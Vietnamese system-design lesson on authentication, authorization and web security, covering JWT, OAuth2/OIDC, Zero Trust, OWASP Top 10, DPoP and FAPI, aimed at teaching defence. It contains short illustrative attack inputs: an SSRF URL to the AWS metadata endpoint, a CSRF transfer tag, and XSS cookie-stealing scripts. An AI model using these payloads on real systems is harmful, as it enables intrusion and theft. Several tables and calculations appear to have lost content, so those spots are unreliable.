Tuần 14: Authentication, Authorization & Security
“Security is not a feature — it’s a property of the entire system. Một lỗ hổng duy nhất có thể phá sập toàn bộ kiến trúc mà bạn mất hàng tháng xây dựng.”
Tags: system-design authentication authorization security oauth2 jwt owasp zero-trust Student: Hieu Prerequisite: Tuan-12-CICD-Pipeline · Tuan-13-Monitoring-Observability Liên quan: Tuan-15-Data-Security-Encryption · Tuan-09-Rate-Limiter · Tuan-11-Microservices-Pattern · Tuan-03-Networking-DNS-CDN
1. Context & Why
Analogy đời thường — Sân bay
Hieu, tưởng tượng em đi máy bay. Quá trình từ cổng sân bay đến ghế ngồi chính là mô hình security hoàn chỉnh:
| Bước tại sân bay | Tương đương IT | Giải thích |
|---|---|---|
| Hộ chiếu (Passport) | Authentication (AuthN) | Xác minh “em là ai” — chứng minh danh tính |
| Boarding pass | Authorization (AuthZ) | Xác minh “em được phép làm gì” — ghế nào, hạng nào, lounge nào |
| Máy soi chiếu an ninh | Security Controls | Kiểm tra em không mang theo thứ nguy hiểm — input validation, threat detection |
| Cổng boarding | Access Control | Chỉ cho vào đúng chuyến bay, đúng giờ — resource-level authorization |
| Camera giám sát | Security Monitoring | Ghi lại mọi hành vi bất thường — audit log, SIEM |
| Nhân viên an ninh tuần tra | Intrusion Detection | Phát hiện và phản ứng với mối đe doạ — WAF, IDS/IPS |
Nếu không có hộ chiếu → không biết ai đang vào hệ thống → impersonation attack. Nếu không có boarding pass → ai cũng vào business lounge → privilege escalation. Nếu không có máy soi chiếu → ai cũng mang gì cũng được → injection, XSS, SSRF.
Cả ba lớp phải hoạt động đồng thời. Bỏ bất kỳ lớp nào = hệ thống bị compromise.
Tại sao đây là tuần quan trọng nhất về Security?
Theo Verizon Data Breach Investigations Report 2024:
- 86% breaches liên quan tới stolen credentials
- 74% breaches có yếu tố human element (phishing, social engineering)
- Median time to detect a breach: 207 ngày
- Average cost: $4.45M per breach (IBM Cost of a Data Breach 2023)
Security không phải “thêm vào sau”. Security phải là design constraint từ đầu — giống availability, scalability, performance.
2. Deep Dive — Authentication, Authorization & Security
2.1 Authentication (Xác thực) vs Authorization (Phân quyền)
| Tiêu chí | Authentication (AuthN) | Authorization (AuthZ) |
|---|---|---|
| Câu hỏi | ”Bạn là ai?" | "Bạn được phép làm gì?” |
| Thời điểm | Xảy ra trước | Xảy ra sau AuthN |
| Input | Credentials (password, token, biometric) | User identity + resource + action |
| Output | Identity (user ID, claims) | Allow / Deny |
| Thay đổi | Ít thay đổi (identity cố định) | Thay đổi thường xuyên (permissions thay đổi) |
| Ví dụ | Login bằng email + password | User role = “editor” → được sửa bài, không được xoá user |
| Protocols | OAuth2, OIDC, SAML, WebAuthn | RBAC, ABAC, ReBAC, OPA |
Aha Moment: Nhiều developer nhầm lẫn hai khái niệm này. OAuth2 là authorization framework (cho phép app truy cập resource), KHÔNG phải authentication protocol. OpenID Connect (OIDC) mới là lớp authentication trên OAuth2.
2.2 Session-based vs Token-based Authentication
Session-based Authentication (Truyền thống)
Client Server Session Store (Redis)
|--- POST /login ------->| |
| (email + password) |--- Verify credentials ------>|
| |--- Create session ---------->|
| | (sessionId → userData) |
|<-- Set-Cookie: --------| |
| sessionId=abc123 | |
| | |
|--- GET /api/profile -->| |
| Cookie: sessionId= |--- Lookup sessionId -------->|
| abc123 |<-- Return userData ----------|
|<-- 200 OK, user data --| |
Ưu điểm:
- Server kiểm soát hoàn toàn session (có thể revoke ngay lập tức)
- Session data không lộ ra client
- Tích hợp CSRF protection tự nhiên (với SameSite cookie)
Nhược điểm:
- Cần session store (Redis/Memcached) — thêm infrastructure
- Sticky sessions hoặc shared session store khi có multiple servers
- Khó scale horizontal (session affinity)
- Không phù hợp cho mobile apps, microservices, cross-domain
Token-based Authentication (Hiện đại — JWT)
Client Auth Server API Server
|--- POST /login ------->| |
| (email + password) | |
|<-- { accessToken, ----| |
| refreshToken } | |
| | |
|--- GET /api/profile --------------------------------->|
| Authorization: | |
| Bearer <accessToken> | |
| | Verify JWT locally |
| | (no DB lookup!) |
|<-- 200 OK, user data --------------------------------|
Ưu điểm:
- Stateless — server không cần lưu session → scale dễ dàng
- Cross-domain — token gửi qua Authorization header, không bị same-origin policy
- Microservice-friendly — mỗi service tự verify JWT, không cần gọi auth service
- Mobile-friendly — không phụ thuộc cookie
Nhược điểm:
- Không thể revoke ngay lập tức (token còn valid cho đến khi hết hạn)
- Token size lớn hơn session ID (JWT ~800 bytes vs sessionId ~36 bytes)
- Phải handle token refresh logic ở client
- Security risk nếu lưu sai chỗ (localStorage → XSS attack)
2.3 JWT (JSON Web Token) — Deep Dive
Cấu trúc JWT
JWT gồm 3 phần, ngăn cách bởi dấu .:
xxxxx.yyyyy.zzzzz
| | |
Header Payload Signature
Header (thuật toán ký + loại token):
{
"alg": "RS256",
"typ": "JWT",
"kid": "key-2024-01"
}Payload (claims — dữ liệu):
{
"sub": "user-123",
"iss": "https://auth.example.com",
"aud": "https://api.example.com",
"iat": 1700000000,
"exp": 1700003600,
"roles": ["editor", "viewer"],
"org_id": "org-456"
}| Claim | Tên đầy đủ | Ý nghĩa |
|---|---|---|
sub | Subject | ID của user |
iss | Issuer | Ai phát hành token |
aud | Audience | Token dành cho service nào |
iat | Issued At | Thời điểm phát hành |
exp | Expiration | Thời điểm hết hạn |
jti | JWT ID | Unique ID của token (dùng cho revocation) |
Signature:
RSASHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
privateKey
)
RS256 vs HS256 — Chọn thuật toán ký
| Tiêu chí | HS256 (HMAC-SHA256) | RS256 (RSA-SHA256) |
|---|---|---|
| Loại | Symmetric (cùng key sign & verify) | Asymmetric (private key sign, public key verify) |
| Performance | Nhanh hơn (~10x) | Chậm hơn |
| Key distribution | Mọi service cần shared secret → rủi ro | Chỉ auth server giữ private key, các service giữ public key |
| Key rotation | Phải update tất cả service cùng lúc | Chỉ update auth server, publish public key qua JWKS |
| Use case | Single service, internal | Microservices, multi-party (khuyến nghị) |
| Rủi ro | Nếu 1 service bị hack → tất cả bị compromise | Nếu 1 API service bị hack → chỉ đọc được token, không tạo được |
Rule of thumb: Nếu có nhiều hơn 1 service cần verify JWT → luôn dùng RS256 (hoặc ES256 cho performance tốt hơn).
Refresh Token & Token Rotation
Vấn đề: Access token ngắn hạn (5–15 phút) → user phải login lại liên tục → UX tệ.
Giải pháp: Refresh token — token dài hạn (7–30 ngày) dùng để lấy access token mới.
Client Auth Server Database
| | |
|--- POST /token/refresh ->| |
| { refreshToken: "R1" } |--- Validate R1 ------->|
| |--- Invalidate R1 ----->| (Token Rotation!)
| |--- Create new R2 ----->|
|<-- { accessToken: "A2", | |
| refreshToken: "R2"} | |
| | |
| [Attacker steals R1] | |
| | |
| Attacker tries R1 ------>|--- Lookup R1 --------->|
| |--- R1 already used! -->|
| |--- REVOKE ALL tokens ->| (Detect reuse!)
|<-- 401 + force re-login -| |
Token Rotation (Xoay token): Mỗi lần dùng refresh token, phát hành refresh token MỚI và vô hiệu hoá token cũ.
Tại sao cần Token Rotation?
- Nếu attacker đánh cắp refresh token và dùng trước user → user dùng token cũ → server phát hiện reuse → revoke toàn bộ token family
- Giảm window of attack từ 30 ngày xuống gần như 0
JWT Best Practices
| Practice | Giải thích |
|---|---|
| Access token TTL: 5–15 phút | Giảm window nếu token bị lộ |
| Refresh token TTL: 7–30 ngày | Cân bằng UX và security |
Luôn validate iss, aud, exp | Ngăn token từ hệ thống khác |
Dùng jti claim cho revocation | Blacklist bằng jti thay vì decode toàn bộ token |
| Không lưu sensitive data trong payload | JWT payload chỉ base64 encode, KHÔNG encrypt |
| Dùng JWKS endpoint cho public key distribution | /.well-known/jwks.json |
Luôn check alg header | Ngăn “alg: none” attack |
2.4 OAuth2 Flows
OAuth2 là authorization framework — cho phép ứng dụng thứ ba truy cập resource thay mặt user mà không cần biết password.
Bốn OAuth2 Grant Types
| Grant Type | Use Case | Security Level |
|---|---|---|
| Authorization Code | Web app có backend | Cao nhất |
| Authorization Code + PKCE | SPA, mobile app (no backend secret) | Cao |
| Client Credentials | Machine-to-machine (M2M) | Cao (cho M2M) |
| Thấp — KHÔNG DÙNG | ||
| Thấp — KHÔNG DÙNG |
Authorization Code Flow (Dành cho web app có backend)
User Browser App Server Auth Server Resource Server
| | | | |
|-- Click | | | |
| "Login" -->| | | |
| |--- GET /authorize? | |
| | response_type=code& | |
| | client_id=XXX& | |
| | redirect_uri=https://app/cb& | |
| | scope=read:profile& | |
| | state=random123 ------------>| |
| | | | |
| |<-- Login form -|-----------------| |
|-- Enter | | | |
| creds ---->|--- POST credentials ----------->| |
| | | |-- Verify |
| |<-- 302 Redirect to | |
| | /cb?code=AUTH_CODE& | |
| | state=random123 ------------>| |
| | | | |
| |--- GET /cb?code=AUTH_CODE ------>| |
| | |--- POST /token | |
| | | code=AUTH_CODE| |
| | | client_secret | |
| | | redirect_uri->| |
| | |<-- { access_token, |
| | | refresh_token } |
| | | | |
| | |--- GET /api/profile, Bearer token->|
| | |<-- User profile data --------------|
| |<-- Show profile| | |
Key point: code trao đổi qua browser (front-channel), nhưng access_token trao đổi server-to-server (back-channel) → access token KHÔNG BAO GIỜ lộ ra browser.
Authorization Code + PKCE (Proof Key for Code Exchange)
Dành cho SPA và mobile app — không thể giữ client_secret an toàn.
1. Client tạo random "code_verifier" (43-128 chars)
2. Tính "code_challenge" = BASE64URL(SHA256(code_verifier))
3. Gửi code_challenge trong /authorize request
4. Auth server lưu code_challenge
5. Khi exchange code → client gửi code_verifier
6. Auth server verify: SHA256(code_verifier) == code_challenge
Tại sao PKCE an toàn hơn Implicit flow?
- Implicit flow trả access token qua URL fragment → lộ trong browser history, referrer header
- PKCE đảm bảo chỉ client tạo ra
code_verifiermới có thể exchange code → ngăn authorization code interception attack
Client Credentials Flow (Machine-to-Machine)
Service A Auth Server Service B
|--- POST /token | |
| grant_type= | |
| client_credentials | |
| client_id=serviceA | |
| client_secret=xxx ----->| |
|<-- { access_token } ------| |
| | |
|--- GET /api/data, Bearer token ----------------->|
|<-- Response data --------------------------------|
- Không có user context — token đại diện cho service, không phải user
- Dùng trong microservices internal communication
client_secretphải lưu trong secrets manager (Vault, AWS Secrets Manager)
2.5 OpenID Connect (OIDC)
OIDC = OAuth2 + identity layer. Thêm:
- ID Token (JWT chứa user identity claims)
- UserInfo endpoint (
/userinfo) - Standard scopes:
openid,profile,email - Discovery document:
/.well-known/openid-configuration
// ID Token payload
{
"iss": "https://accounts.google.com",
"sub": "user-12345",
"aud": "your-app-client-id",
"exp": 1700003600,
"iat": 1700000000,
"nonce": "abc123",
"name": "Hieu Nguyen",
"email": "[email protected]",
"email_verified": true,
"picture": "https://..."
}OAuth2 alone: “App này được phép đọc calendar của user” (authorization) OIDC: “User này là Hieu, email [email protected], đã verify” (authentication)
2.6 SAML Overview (Security Assertion Markup Language)
SAML là XML-based protocol cho SSO trong enterprise environment.
| Tiêu chí | SAML 2.0 | OIDC |
|---|---|---|
| Format | XML | JSON |
| Token | SAML Assertion | JWT (ID Token) |
| Transport | Browser redirect + POST | Browser redirect + back-channel |
| Use case | Enterprise SSO (Okta, Azure AD) | Consumer apps, mobile, SPA |
| Complexity | Cao (XML parsing, signature, encryption) | Thấp hơn |
| Mobile | Không phù hợp | Rất phù hợp |
Khi nào dùng SAML? Khi tích hợp enterprise IdP (Identity Provider) — Okta, Azure AD, ADFS. Nhiều enterprise vẫn dùng SAML. Hệ thống mới nên support OIDC + SAML.
2.7 Authorization Models — RBAC vs ABAC vs ReBAC
RBAC (Role-Based Access Control)
User → Role(s) → Permission(s)
Ví dụ:
Hieu → [editor, viewer] → [read:article, write:article, publish:article]
Mai → [viewer] → [read:article]
Admin → [admin] → [*] (tất cả quyền)
Ưu: Đơn giản, dễ hiểu, dễ audit. Nhược: “Role explosion” — khi business logic phức tạp, số role tăng nhanh (editor-team-a, editor-team-b, editor-draft-only…).
ABAC (Attribute-Based Access Control)
Policy:
IF user.department == "engineering"
AND resource.classification != "top-secret"
AND time.hour BETWEEN 9 AND 18
AND user.location == "office"
THEN ALLOW read
→ Flexible nhưng complex. Dùng khi cần fine-grained, context-aware authorization.
Ưu: Cực kỳ linh hoạt, policy-driven. Nhược: Khó debug, khó audit (“tại sao user X bị deny?”), performance overhead khi evaluate nhiều attributes.
ReBAC (Relationship-Based Access Control)
Google Drive model:
"Hieu" is "editor" of "document-123"
"Team-A" is "viewer" of "folder-456"
"document-123" is "child" of "folder-456"
→ Hieu can edit document-123 (direct)
→ Team-A members can view document-123 (inherited from folder)
Ưu: Mô hình hoá quan hệ tự nhiên (owner, editor, viewer, parent-child). Dùng cho Google Drive, GitHub, Notion. Nhược: Graph traversal expensive. Cần specialized engine (Google Zanzibar, OpenFGA, SpiceDB).
| Model | Khi nào dùng | Ví dụ |
|---|---|---|
| RBAC | Hệ thống đơn giản, role rõ ràng | Admin panel, CMS |
| ABAC | Cần context-aware, fine-grained | Healthcare, government |
| ReBAC | Resource có quan hệ phân cấp | File sharing, project management |
2.8 Zero Trust Architecture
Old model (Castle and Moat): Tin tưởng mọi thứ bên trong network perimeter. Zero Trust: “Never trust, always verify” — không tin bất kỳ ai, kể cả traffic internal.
Nguyên tắc Zero Trust
- Verify explicitly — Luôn xác thực và phân quyền dựa trên tất cả data points (identity, location, device, service, data classification)
- Least privilege access — Chỉ cấp quyền tối thiểu cần thiết, just-in-time access
- Assume breach — Luôn giả định hệ thống đã bị xâm nhập. Minimize blast radius, segment access, verify end-to-end encryption
Zero Trust trong Microservices
| Component | Truyền thống | Zero Trust |
|---|---|---|
| Service-to-service | Trust internal network | mTLS (mutual TLS) cho mọi call |
| API Gateway | Single point of auth | Mỗi service tự verify JWT |
| Network | Flat internal network | Network segmentation + service mesh |
| Secrets | Config files / env vars | Secrets manager (Vault) + auto-rotation |
| Data access | Shared database credentials | Per-service credentials + least privilege |
| Monitoring | Perimeter monitoring | Every request logged + anomaly detection |
2.9 OWASP Top 10 (2021) — Deep Dive
| # | Vulnerability | Giải thích (Tiếng Việt) | Ví dụ | Phòng chống |
|---|---|---|---|---|
| A01 | Broken Access Control | Không kiểm soát quyền truy cập đúng cách | User A xem được data của User B bằng cách đổi ID trong URL | Kiểm tra authorization ở mọi endpoint, deny by default |
| A02 | Cryptographic Failures | Sai sót về mã hoá | Lưu password plaintext, dùng MD5/SHA1, không dùng HTTPS | bcrypt/argon2 cho password, TLS everywhere, encrypt sensitive data |
| A03 | Injection | Dữ liệu không tin cậy gửi vào interpreter | SQL injection, NoSQL injection, LDAP injection | Parameterized queries, ORM, input validation |
| A04 | Insecure Design | Thiết kế không có security thinking | Không có rate limit cho password reset, không có anti-automation | Threat modeling (STRIDE), secure design patterns |
| A05 | Security Misconfiguration | Cấu hình sai | Default credentials, unnecessary features enabled, verbose error messages | Hardening checklist, automated scanning, minimal install |
| A06 | Vulnerable Components | Dùng thư viện có lỗ hổng | Log4Shell (CVE-2021-44228), npm supply chain attacks | SCA scanning, Dependabot/Renovate, SBOM |
| A07 | Identification & Authentication Failures | Lỗi xác thực | Weak password policy, no MFA, credential stuffing | MFA, bcrypt, rate limiting login, breached password check |
| A08 | Software and Data Integrity Failures | Không verify integrity | CI/CD pipeline tampering, unsigned updates, deserialization attacks | Code signing, SBOM, verify dependencies |
| A09 | Security Logging & Monitoring Failures | Không log hoặc không monitor | Breach xảy ra 200+ ngày mà không phát hiện | Structured logging, SIEM, alerting on anomalies |
| A10 | Server-Side Request Forgery (SSRF) | Server bị lừa gọi đến internal resources | GET /fetch?url=http://169.254.169.254/latest/meta-data/ (AWS metadata) | Whitelist URLs, block internal IPs, network segmentation |
2.10 API Security — Broken Object Level Authorization (BOLA)
BOLA là lỗi #1 trong OWASP API Security Top 10.
# Attacker thay đổi ID trong request:
GET /api/users/123/orders → User 123's orders (của attacker)
GET /api/users/456/orders → User 456's orders (CỦA NGƯỜI KHÁC!)
# Nếu server không check "user 123 có quyền xem orders của user 456?" → BOLA!
Phòng chống:
// WRONG: Chỉ check authentication
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
const orders = await Order.find({ userId: req.params.id });
return res.json(orders);
});
// RIGHT: Check authorization — user chỉ xem được data của chính mình
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
if (req.user.id !== req.params.id && !req.user.roles.includes('admin')) {
return res.status(403).json({ error: 'Forbidden' });
}
const orders = await Order.find({ userId: req.params.id });
return res.json(orders);
});2.11 Mass Assignment
// User gửi request update profile:
PUT /api/users/123
{
"name": "Hieu",
"email": "[email protected]",
"role": "admin" // <-- Attacker thêm field này!
}
// WRONG: Blind update
await User.findByIdAndUpdate(123, req.body); // role bị đổi thành admin!
// RIGHT: Whitelist fields
const allowed = ['name', 'email', 'avatar'];
const updates = _.pick(req.body, allowed);
await User.findByIdAndUpdate(123, updates);2.12 Password Hashing — bcrypt vs argon2
KHÔNG BAO GIỜ lưu password dạng plaintext hoặc dùng MD5/SHA1/SHA256 (dù có salt).
| Algorithm | Đặc điểm | Khi nào dùng |
|---|---|---|
| bcrypt | Time-tested, work factor adjustable, 72-byte limit | Default choice, wide library support |
| argon2id | Winner of Password Hashing Competition (2015), memory-hard | Khuyến nghị mới nhất, chống GPU/ASIC attack tốt hơn |
| scrypt | Memory-hard | Ít dùng hơn argon2 |
| PBKDF2 | CPU-intensive | Legacy systems, FIPS compliance |
| KHÔNG BAO GIỜ dùng cho password |
Tại sao phải “chậm”?
Chênh 250,000 lần! Đó là lý do password hash phải intentionally slow.
2.13 MFA/2FA & Passkeys/WebAuthn
Multi-Factor Authentication (MFA)
Ba loại factor:
- Something you know — Password, PIN
- Something you have — Phone (TOTP), hardware key (YubiKey)
- Something you are — Fingerprint, face recognition
| Method | Security Level | UX | Phishing-resistant? |
|---|---|---|---|
| SMS OTP | Thấp (SIM swap) | Dễ | Không |
| TOTP (Google Authenticator) | Trung bình | Dễ | Không (real-time phishing) |
| Push notification (Duo) | Trung bình-Cao | Dễ | Phần nào (MFA fatigue attack) |
| Hardware key (YubiKey) | Cao | Trung bình | Có |
| Passkeys/WebAuthn | Cao nhất | Dễ nhất | Có |
Passkeys / WebAuthn (FIDO2)
Registration:
1. Server gửi "challenge" (random bytes)
2. Authenticator (phone/laptop) tạo key pair (private + public)
3. Private key lưu trên device (Secure Enclave / TPM)
4. Public key gửi về server
5. User xác nhận bằng biometric (Touch ID, Face ID)
Authentication:
1. Server gửi challenge
2. Authenticator ký challenge bằng private key
3. Server verify signature bằng public key
4. DONE — không password nào được truyền qua network!
Passkeys là tương lai: Không phishing, không credential stuffing, không password reuse. Google, Apple, Microsoft đều đã support.
2.14 Session Management Best Practices
| Practice | Giải thích |
|---|---|
| Regenerate session ID sau login | Ngăn session fixation attack |
Set HttpOnly flag trên session cookie | JavaScript không đọc được → ngăn XSS theft |
Set Secure flag | Cookie chỉ gửi qua HTTPS |
Set SameSite=Lax hoặc Strict | Ngăn CSRF |
| Session timeout: idle 15–30 phút | Giảm risk nếu user bỏ quên browser |
| Absolute timeout: 8–24 giờ | Force re-authentication |
| Invalidate session khi đổi password | Ngăn session của attacker tiếp tục hoạt động |
| Limit concurrent sessions | Phát hiện credential sharing |
2.15 CSRF, XSS & CORS
CSRF (Cross-Site Request Forgery)
Attacker's website chứa:
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
Nếu user đang login bank.com → browser tự gửi cookie → transaction thực hiện!
Phòng chống:
- SameSite cookie (
SameSite=LaxhoặcStrict) - CSRF token (synchronizer token pattern)
- Double submit cookie
- Check Origin/Referer header
XSS (Cross-Site Scripting)
| Type | Mô tả | Ví dụ |
|---|---|---|
| Stored XSS | Script lưu trong DB, render cho tất cả user | Comment chứa <script>steal(cookie)</script> |
| Reflected XSS | Script trong URL, reflect về response | search?q=<script>alert(1)</script> |
| DOM-based XSS | Script modify DOM trực tiếp | document.innerHTML = location.hash |
Phòng chống:
- Output encoding (HTML entity encode)
- Content Security Policy (CSP) header
- HttpOnly cookies (JS không đọc được session)
- DOMPurify cho user-generated HTML
- Không dùng
innerHTML, dùngtextContent
CORS (Cross-Origin Resource Sharing)
Browser (app.example.com) → API (api.example.com)
Browser gửi preflight request:
OPTIONS /api/data
Origin: https://app.example.com
Server respond:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Allow-Credentials: true
Sai lầm phổ biến:
# NGUY HIỂM — cho phép mọi origin
Access-Control-Allow-Origin: *
# NGUY HIỂM HƠN — reflect origin header mà không validate
Access-Control-Allow-Origin: ${request.headers.origin}
# ĐÚNG — whitelist cụ thể
Access-Control-Allow-Origin: https://app.example.com
Rule: KHÔNG BAO GIỜ dùng
Access-Control-Allow-Origin: *cùng vớiAccess-Control-Allow-Credentials: true. Browser sẽ block, nhưng nhiều developer bypass bằng cách reflect origin → lỗ hổng nghiêm trọng.
2.16 DPoP — Sender-Constrained Tokens (RFC 9449)
Cập nhật 2024-2026: DPoP (Demonstrating Proof of Possession) là chuẩn mới được công bố như RFC 9449 (Sept 2023). Bắt buộc cho FAPI 2.0 (financial APIs). Solving the bearer token problem.
2.16.1 Vấn đề: Bearer Token có thể bị steal
Bearer token model (truyền thống):
Client gửi: Authorization: Bearer eyJhbGc...
Server verify token → grant access
Vấn đề: Bất kỳ ai có token đều dùng được. Nếu token leak (XSS, MITM, log file, browser history) → attacker dùng được.
Real-world attack vectors:
- Browser extension đọc localStorage → steal token
- HTTP proxy log token in URL/header
- Server log accidentally log Authorization header
- Replay attack từ network capture
2.16.2 DPoP — Token bound to client key
DPoP (RFC 9449): Token chỉ valid khi client chứng minh sở hữu private key đã đăng ký.
1. Client tạo key pair (asymmetric, e.g., ES256)
2. Khi request token, client gửi public key (JWK thumbprint)
3. Server bind token với key thumbprint: token.cnf.jkt = thumbprint
4. Khi gọi API:
- Authorization: DPoP <access_token>
- DPoP: <signed JWT proving private key ownership>
5. Server verify: DPoP signature + token.cnf.jkt match
DPoP Proof JWT structure:
{
"header": {
"typ": "dpop+jwt",
"alg": "ES256",
"jwk": {
"kty": "EC",
"crv": "P-256",
"x": "...",
"y": "..."
}
},
"payload": {
"jti": "unique-id-per-request", // anti-replay
"htm": "POST", // HTTP method
"htu": "https://api.example.com/transfer", // URL
"iat": 1714541234 // issued at
},
"signature": "..."
}Tính chất:
- Sender-constrained: Stolen token không dùng được nếu không có private key
- Per-request signature:
jtichống replay - HTTP-bound:
htm+htungăn dùng token vào endpoint khác
2.16.3 So sánh Bearer vs DPoP vs mTLS
| Feature | Bearer Token | DPoP (RFC 9449) | mTLS Sender-Constrained |
|---|---|---|---|
| Stolen token reusable | ✗ Yes | ✓ No | ✓ No |
| Client setup | Easy | Medium (key gen) | Hard (cert mgmt) |
| Browser support | ✓ Native | ✓ Web Crypto API | ⚠️ Cert install |
| Mobile support | ✓ | ✓ | ⚠️ Complex |
| Server complexity | Simple | Medium | Hard (TLS termination) |
| Best for | Internal APIs | Public APIs, FinTech | M2M, banking backend |
2.16.4 Khi nào dùng DPoP?
Bắt buộc:
- Financial APIs theo FAPI 2.0 standard
- Open Banking (PSD2 in EU)
- High-value transactions (payment, transfer)
Recommended:
- Public APIs với high-value tokens (Slack, GitHub)
- SPAs storing tokens in localStorage (mitigation cho XSS)
- Mobile apps (key trong secure enclave / TEE)
Skip cho:
- Internal microservices (use mTLS instead)
- Low-value APIs (read-only public data)
Tham chiếu:
- RFC 9449 — https://datatracker.ietf.org/doc/rfc9449/
- DPoP Demo — https://demo.identityserver.io/
- Spring Security 6.4 hỗ trợ DPoP — https://docs.spring.io/spring-security/
2.17 FAPI 2.0 — Financial-grade API Security
FAPI (Financial-grade API) là OAuth 2.0 profile mạnh nhất, được thiết kế cho banking và fintech. FAPI 2.0 (2023) đơn giản hóa FAPI 1.0 và mandatory cho Open Banking.
2.17.1 FAPI vs OAuth 2.0 baseline
OAuth 2.0 vanilla là minimal — đủ cho hầu hết app, nhưng không đủ cho banking. FAPI là profile chặt hơn:
| Aspect | OAuth 2.0 baseline | FAPI 2.0 |
|---|---|---|
| Token type | Bearer | DPoP hoặc mTLS |
| Auth method | Client secret | Private key JWT (private_key_jwt) hoặc mTLS |
| PKCE | Optional | Required với S256 |
| State parameter | Recommended | Required |
| Token endpoint | TLS optional | TLS 1.2+ required |
| ID Token signing | Optional | Required, no none algorithm |
nonce parameter | Recommended | Required for OIDC |
| Pushed Authorization Request (PAR) | N/A | Required (RFC 9126) |
| JWT Secured Response (JARM) | N/A | Recommended |
2.17.2 PAR — Pushed Authorization Request
Vấn đề: Authorization request params trong URL → có thể bị tamper, log, leak.
FAPI 2.0 fix: Client POST request params lên /par endpoint trước, nhận về request_uri, rồi redirect user với request_uri thay vì params.
1. Client → POST /par
{client_id, redirect_uri, scope, response_type, code_challenge, ...}
2. Server → 201 Created
{request_uri: "urn:ietf:params:oauth:request_uri:abc123",
expires_in: 60}
3. Client redirect user → /authorize?client_id=...&request_uri=urn:...
4. Server retrieve params from cache by request_uri
Lợi ích:
- Params không xuất hiện trong URL → không log
- Ngắn hơn, ít bị truncate
- Giảm rủi ro CSRF, MITM
Tham chiếu:
- FAPI 2.0 Security Profile — https://openid.net/specs/fapi-2_0-security-02.html
- RFC 9126 (PAR) — https://datatracker.ietf.org/doc/rfc9126/
- OpenID Foundation FAPI WG — https://openid.net/wg/fapi/
2.18 NIST 800-207 Zero Trust Architecture — Deep Dive
Section 2.8 trên đã giới thiệu Zero Trust. Đây là deep dive theo chuẩn NIST SP 800-207 (federal standard, Aug 2020) — bible của Zero Trust.
2.18.1 Bảy Tenets của Zero Trust (NIST 800-207)
| # | Tenet | Mô tả |
|---|---|---|
| 1 | All resources are considered resources | Mọi data source, computing service đều là resource cần protect |
| 2 | All communication is secured regardless of network location | Không có “trusted network” — mọi traffic đều mTLS |
| 3 | Access granted per-session | Authenticate trước MỖI session, không persist trust |
| 4 | Access determined by dynamic policy | Policy bao gồm identity + device posture + location + time + risk |
| 5 | Enterprise monitors and measures all assets | Continuous monitoring, integrity verification |
| 6 | All resource auth is dynamic and strictly enforced | Continuous auth, không “set and forget” |
| 7 | Enterprise collects info about asset state for posture | Continuous improvement of security posture |
2.18.2 Reference Architecture
┌──────────────────┐
│ Policy Engine │
│ (decision maker) │
└────────┬─────────┘
│
┌────────▼─────────┐
│ Policy Admin │
│ (configuration) │
└────────┬─────────┘
│
┌──────────┐ ┌───────▼──────────┐ ┌──────────────┐
│ Subject │───►│ Policy Enforcement│◄───│ Resource │
│ (user/ │ │ Point (PEP) │ │ (data, app) │
│ device) │ └───────────────────┘ └──────────────┘
└──────────┘ │
┌────────▼─────────┐
│ Data Sources │
│ - CDM (asset DB) │
│ - SIEM │
│ - Threat Intel │
│ - Identity store │
│ - Industry compl │
└──────────────────┘
Components:
- Policy Engine (PE): Decide grant/deny based on policy
- Policy Admin (PA): Manage policy lifecycle
- Policy Enforcement Point (PEP): Enforce decisions (gateway, sidecar)
- Data sources: Inputs cho decision (identity, threat intel, compliance)
2.18.3 Google BeyondCorp — Reference Implementation
Google BeyondCorp là implementation Zero Trust nổi tiếng nhất, áp dụng từ 2011.
Key principles:
- No VPN: Mọi internal app accessible from internet với strong auth
- Device trust: Mỗi device có cert, posture check (OS version, encryption, patches)
- Identity-aware proxy: Mọi app behind IAP — không expose backend
- Single sign-on: Centralized identity (Google Account)
- Continuous verification: Re-authenticate dựa trên risk score
Tham chiếu:
- BeyondCorp papers (Google) — https://research.google/pubs/?q=beyondcorp
- Beyond Corp: A New Approach to Enterprise Security (USENIX 2014)
2.18.4 Implementation patterns hiện đại
| Pattern | Tool | Use case |
|---|---|---|
| Identity-Aware Proxy (IAP) | Cloudflare Access, Google IAP, Pomerium | Internal apps without VPN |
| Service mesh mTLS | Istio, Linkerd, Cilium | Inter-service auth |
| SPIFFE/SPIRE | Workload identity in K8s | M2M auth at scale |
| OPA (Open Policy Agent) | Sidecar policy engine | Fine-grained authz |
| Continuous Access Evaluation (CAE) | Microsoft Entra | Real-time token revocation |
2.18.5 mTLS Sender-Constrained Tokens (RFC 8705)
Combine OAuth + mTLS: Token bound to client TLS certificate.
1. Client establishes mTLS connection (client cert presented)
2. Server hashes client cert thumbprint
3. Token issued với cnf.x5t#S256 = cert_thumbprint
4. On API call: must present same client cert
5. Server: hash incoming cert, compare với token.cnf.x5t#S256
Khi nào dùng mTLS over DPoP?
| mTLS Cert-Bound | DPoP | |
|---|---|---|
| Service-to-service | ✓ Best | OK |
| Browser/mobile | ⚠️ Complex | ✓ Best |
| Cert lifecycle | Heavy (PKI) | Light (in-memory key) |
| Setup cost | High | Low |
| Performance | Faster (TLS handshake reuse) | Slower (per-request signature) |
Tham chiếu:
- NIST SP 800-207 — https://csrc.nist.gov/pubs/sp/800/207/final
- RFC 8705 (mTLS Client Auth + Cert-Bound Tokens) — https://datatracker.ietf.org/doc/rfc8705/
- SPIFFE/SPIRE — https://spiffe.io/
- Open Policy Agent — https://www.openpolicyagent.org/
2.18.6 Anti-pattern: “Zero Trust” mà chỉ swap VPN bằng IAP
Nhiều vendor bán “Zero Trust” = “Replace VPN với cloud proxy”. Đó không phải Zero Trust thật. Real Zero Trust cần continuous verification dựa trên dynamic policy, không phải “auth once, trust forever after”.
3. Estimation — Auth System Sizing
3.1 JWT Token Size Impact on Bandwidth
Assumptions:
| Thông số | Giá trị |
|---|---|
| DAU | 10M |
| API requests/user/day | 50 |
| JWT access token size | ~800 bytes |
| Session ID size | ~36 bytes |
JWT bandwidth overhead so với session-based:
Nhận xét: 35 Mbps overhead không nhỏ ở scale lớn. Nhưng trade-off (stateless, no session store lookup) thường xứng đáng. Nếu bandwidth là concern → giảm claims trong JWT, dùng opaque token + introspection cho internal traffic.
